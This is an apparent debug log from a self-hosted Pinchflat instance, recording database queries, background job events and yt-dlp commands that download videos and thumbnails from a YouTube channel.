s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:00:58.732 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_0ZAIHERgFc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/58/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/88/91/8891cea9c8c97dd18ffa979c165702913db1fd8f69f6c1a3cc08229bbc06c30d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:00:58.809 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.638 [info] {"source":"oban","duration":165,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:01.440 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_0ZAIHERgFc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/58/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/88/91/8891cea9c8c97dd18ffa979c165702913db1fd8f69f6c1a3cc08229bbc06c30d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:01:01.440 [debug] QUERY OK db=0.0ms idle=1380.0ms begin [] 22:01:01.440 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:00:58Z], "/downloads/Last Meals/2025-12-23 Critical Role's Matthew Mercer Eats His Last Meal/Critical Role's Matthew Mercer Eats His Last Meal [_0ZAIHERgFc].mp4", ~U[2026-03-28 02:01:01Z], 58] 22:01:01.441 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/58/metadata.json.gz", "/config/metadata/media_items/58/thumbnail.jpg", 58, ~U[2026-03-28 02:01:01Z], ~U[2026-03-28 02:01:01Z]] 22:01:01.441 [debug] QUERY OK db=0.0ms commit [] 22:01:01.443 [debug] QUERY OK source="media_items" db=0.5ms idle=1382.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [901560810, ~U[2026-03-28 02:01:01Z], 58] 22:01:01.443 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:01:01.443 [info] {"args":{"id":58},"id":61,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":250452271,"event":"job:stop","queue_time":4105990399,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:01:01.443 [debug] QUERY OK source="tasks" db=0.2ms idle=804.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:01.443 [debug] QUERY OK source="tasks" db=0.2ms idle=723.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:01.443 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [59] 22:01:01.444 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [59] 22:01:01.449 [info] {"args":{},"id":116,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1774663261449605663,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:01:01.450 [debug] QUERY OK source="tasks" db=0.5ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:01.450 [debug] QUERY OK source="tasks" db=0.5ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:01.450 [debug] QUERY OK source="media_items" db=0.4ms queue=0.4ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 22:01:01.450 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [59] 22:01:01.450 [info] Redownloading 0 media items 22:01:01.450 [debug] QUERY OK source="media_items" db=0.3ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [59] 22:01:01.450 [info] {"args":{},"id":116,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":1077,"event":"job:stop","queue_time":61449387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:01:01.451 [debug] QUERY OK source="tasks" db=0.3ms idle=0.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:01.451 [debug] QUERY OK source="tasks" db=0.4ms idle=0.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:01.451 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [59] 22:01:01.451 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [59] 22:01:01.456 [info] {"args":{"id":60},"id":63,"meta":{},"system_time":1774663261456631718,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:01:01.456 [debug] QUERY OK source="media_items" db=0.1ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [60] 22:01:01.456 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:01:01.457 [debug] QUERY OK source="tasks" db=0.4ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:01.457 [debug] QUERY OK source="tasks" db=0.5ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:01.457 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:01:01.457 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:01:01.457 [debug] QUERY OK source="media_items" db=0.3ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [59, 60] 22:01:01.457 [debug] QUERY OK source="media_items" db=0.4ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [59, 60] 22:01:01.458 [debug] QUERY OK source="media_items" db=0.2ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [60] 22:01:01.458 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [60] 22:01:01.458 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:01:01.458 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:01.458 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:01.458 [debug] Running yt-dlp command for action: get_downloadable_status 22:01:01.459 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:01.459 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:01.459 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:01.459 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eKVkQqFeTsQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/07/d90729b1b7b1937361aed7115742d0d92a793a159f6ef86dc3ab4f0164ed2fe3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:01:03.745 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eKVkQqFeTsQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/07/d90729b1b7b1937361aed7115742d0d92a793a159f6ef86dc3ab4f0164ed2fe3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:01:03.746 [debug] Running yt-dlp command for action: download 22:01:03.746 [debug] QUERY OK source="settings" db=0.0ms idle=685.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:03.746 [debug] QUERY OK source="settings" db=0.0ms idle=685.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:03.746 [debug] QUERY OK source="settings" db=0.0ms idle=685.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:03.746 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eKVkQqFeTsQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/74/a9/74a9d32bcf41ecd4906a83f21df093b9cb296e9cf6787e73e8af9861203066da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:01:26.842 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=qKTJQwolUNg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2f/52/2f520d9abd0e58ca99c7de128b7cd6cf3a4566d838a973f7264a4b772e1d69af.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:01:26.855 [debug] Running yt-dlp command for action: download_thumbnail 22:01:26.856 [debug] QUERY OK source="settings" db=0.1ms idle=1795.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:26.856 [debug] QUERY OK source="settings" db=0.0ms idle=1795.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:26.856 [debug] QUERY OK source="settings" db=0.0ms idle=1795.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:26.856 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=qKTJQwolUNg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/59/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/f6/e9/f6e9ee112c6c92f3278ee068054eab5a3418b365f258c42254ae00a8c0fd32ca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:01:28.810 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:29.562 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=qKTJQwolUNg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/59/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/f6/e9/f6e9ee112c6c92f3278ee068054eab5a3418b365f258c42254ae00a8c0fd32ca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:01:29.563 [debug] QUERY OK db=0.0ms idle=1502.4ms begin [] 22:01:29.563 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:01:26Z], "/downloads/Last Meals/2024-11-26 Cobra Kai’s Xolo Maridueña Eats His Last Meal/Cobra Kai’s Xolo Maridueña Eats His Last Meal [qKTJQwolUNg].mp4", ~U[2026-03-28 02:01:29Z], 59] 22:01:29.564 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/59/metadata.json.gz", "/config/metadata/media_items/59/thumbnail.jpg", 59, ~U[2026-03-28 02:01:29Z], ~U[2026-03-28 02:01:29Z]] 22:01:29.564 [debug] QUERY OK db=0.1ms commit [] 22:01:29.567 [debug] QUERY OK source="media_items" db=2.1ms idle=1504.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [337972203, ~U[2026-03-28 02:01:29Z], 59] 22:01:29.567 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:01:29.567 [info] 